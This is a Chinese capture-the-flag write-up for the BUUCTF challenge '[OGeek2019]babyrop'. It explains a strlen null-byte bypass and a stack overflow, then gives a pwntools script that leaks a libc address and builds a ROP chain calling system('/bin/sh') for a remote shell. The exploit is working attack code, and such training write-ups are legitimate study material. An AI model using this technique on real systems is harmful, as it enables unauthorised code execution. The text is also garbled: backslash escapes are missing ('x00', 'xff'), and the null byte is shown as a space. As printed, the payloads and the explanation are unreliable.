[BUUCTF]PWN7——[OGeek2019]babyrop
题目网址:https://buuoj.cn/challenges#[OGeek2019]babyrop
步骤:
例行检查,32位,开启了RELRO(对got表不可以写)和NX(堆栈不可执行)
nc的时候没有什么回显,用32位ida打开附件,shift+f12查看程序里的字符串,没有发现system和/bin/sh
从main函数开始看程序
用户输入一个字符串给buf,然后跟随机数比较大小,strncmp里的比较长度的参数v1是我们输入的字符串的长度,strlen遇到‘ ’结束,因此可以利用‘ ’来绕过比较字符串操作,避免执行到exit(0)
这里的a1是上一个函数的返回值,看一v5的地址,可以看到就在buf的地址里,我们只要在读入buf的时候将这个位置填上255(xff),之后就会执行else,那么我们就可以对buf进行溢出了
这题给出了libc版本,因此我们只要泄露一个函数地址后就可以算出偏移量,之后就能构造rop执行system(‘/bin/sh’)了
exp
from pwn import *
p = remote("node3.buuoj.cn",26154)
libc=ELF('libc-2.23.so')
elf = ELF('./pwn1')
write_plt = elf.plt['write']
write_got = elf.got['write']
main = 0x08048825
payload1 = "x00" + "xff"*7
p.sendline(payload1)
p.recvuntil("Correct
")
payload2 = "a"*0xe7+'a'*4
payload2 += p32(write_plt) +p32(main)+ p32(1)+p32(write_got)+p32(0x8)
p.sendline(payload2)
write_addr=u32(p.recv(4))
offset = write_addr - libc.sym['write']
system_addr=offset+libc.sym['system']
bin_sh_addr=offset+libc.search('/bin/sh').next()
p.sendline(payload1)
p.recvuntil('Correct
')
payload3 = "a"*0xe7 + 'a'*4
payload3 += p32(system_addr) + "a"*4 + p32(bin_sh_addr)
p.sendline(payload3)
p.interactive()